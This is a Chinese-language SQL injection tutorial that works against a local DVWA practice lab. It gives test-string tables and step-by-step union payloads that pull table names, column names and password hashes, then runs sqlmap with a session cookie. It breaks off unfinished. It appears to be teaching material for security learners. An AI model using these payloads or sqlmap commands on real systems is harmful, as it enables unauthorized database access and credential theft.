SQL注入(SQL Injection)
SQL注入简介
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。 -- 百度百科
SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。
SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句。
注入类型:
- 普通SQL注入
- SQL盲注
注入方法:
- 字符型注入
测试字符串 | 奇怪的变型 | 返回结果 | |
’ | 无 | 数据库返回错误 | |
’ or ‘1’ = '1 | ') \ | ('1'='1 | |
’ or ‘1’ = '2 | ') && (‘1’ = '2 | 空,不影响返回结果 | |
’ and ‘1’ = '2 | ') && (‘1’ = '2 | 假,返回空 |
- 数字型注入
测试字符串 | 奇怪的变型 | 返回结果 | |
’ | 无 | 数据库返回错误 | |
’ ; # | ’ ) ; # | 数据库返回错误 | |
or 1 = 1 | ) \ | (1 = 1 | |
or 1 = 2 | ) \ | (1 = 2 | |
and 1 = 2 | ) && (1 = 2 | 假,返回空 |
配置靶机
这里使用DVWA靶机,安装教程:DVWA靶机安装方法
开始攻击(普通SQL注入)
1. 判断注入点
注入点是指能和服务器的交流,并执行SQL语句。常见的有 登录表单,文章列表,搜索等等
我们打开DVWA靶机(靶机难度设置为:LOW),
我们可以看到这里有一个搜索表单
搜索 "1":
服务器返回错误
url是http://192.168.1.150/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#
从这里我们可以看出url的参数id存在sql注入
2.利用注入点
我们查看服务器源码:
可以看到sql语句为:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
这是一个非常常见的sql语句
我们可以使用 'or 1=1 # ,返回全部数据
为什么'or 1=1 #能这样操作呢?
当我们把2个语句拼接在一起时就知道了
SELECT first_name, last_name FROM users WHERE user_id = ''or 1=1 #';
我们可以看到'与前面的'拼接在一起了,而#又注释掉了后面的'.
这样我们就实现了执行自己的sql代码
进一步攻击
接下来,进行进一步的攻击,不会讲那么详细,不懂的,可以百度相关SQL语句
- 猜解SQL查询语句中的字段数
输入 1' or 1=1 order by 1 # 返回成功
1' or 1=1 order by 2 # 返回成功
1' or 1=1 order by 3 # 返回失败
说明SQL查询语句中的字段数为2个
- 获取当前数据库
输入 1' union select 1,database() # 成功
说明dvwa为数据库名称 不懂 百度%E5%87%BD%E6%95%B0);MySQL DATABASE() 函数使用方法及示例
- 获取数据库中的表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 成功
获得数据库中的表 guestbook, users
- 获取表中的字段名
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 成功
获得表中的字段名 user_id, first_name, last_name, user, password, avatar, last_login, failed_login
- 获取你想要的数据😋
输入 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 成功
获取用户名,和md5加密后的密码(找个md5解码的开一下,或者自己跑跑彩虹表)
SQLMap - 自动化sql注入神器
sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。
首先下载sqlmap 下载
解压得到
使用 python命令运行 (请确定你有Python环境)
python sqlmap.py
SQLMap的一些运行参数: |命令|作用| |--|--| |sqlmap --version|查看sqlmap版本信息.| |-h|查看功能参数(常用的)| |-hh|查看所有的参数 (如果有中文包 就最好了)| |-v|显示更详细的信息 一共7级, 从0-6.默认为1, 数值越大,信息显示越详细.| |-d|直接连接数据库侦听端口,类似于把自己当一个客户端来连接.| |-u|指定url扫描,但url必须存在查询参数. 例: xxx.php?id=1| |-l|指定logfile文件进行扫描,可以结合burp 把访问的记录保存成一个log文件, sqlmap可以直接加载burp保存到log文件进行扫描| |-x|以xml的形式提交一个站点地图给sqlmap| |-m|如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描| |-r|把http的请求头,body保存成一个文件 统一提交给sqlmap,sqlmap会读取内容进行拼接请求体| |-g|利用谷歌搜索引擎搭配正则来过滤你想要的| |-c|加载配置文件,配置文件可以指定扫描目标,扫描方式,扫描内容等等.加载了配置文件sqlmap就会根据文件内容进行特定的扫描|
在这里我们使用 -u 命令来执行攻击
python sqlmap.py -u "http://192.168.1.150/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"
运行了一会后,你会发现他提示没有漏洞,那是因为sqlmap没有登录dvwa靶机
我们可以使用 -cookie来解决这个问题
先获取dvwa登录后的cookie
可以在浏览器控制台运行:document.cookie 获取cookie
python sqlmap.py -u "http://192.168.1.150/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"
-cookie= "security=low;serverType=nginx;order=id%20desc;memSize=972;distribution=ubuntu;sites_path=/www/wwwroot;force=0;uploadSize=1073741824;rank=a;backup_path=/www/backup;Path=/www/wwwroot/192.168.1.150;layers=1;vcodesum=18;request_token=bnuVjPRR5veeGAfD6hpkRry8GiLt3UZRBn4OnuRuejlrvMIr;pnull=1;softType=5;load_type=5;load_search=undefined;p5=2;load_page=2;PHPSESSID=qul1864skk706jkveju7i460ac"
注意这里是他要跳转,要输入 n 加回车
以后更新😂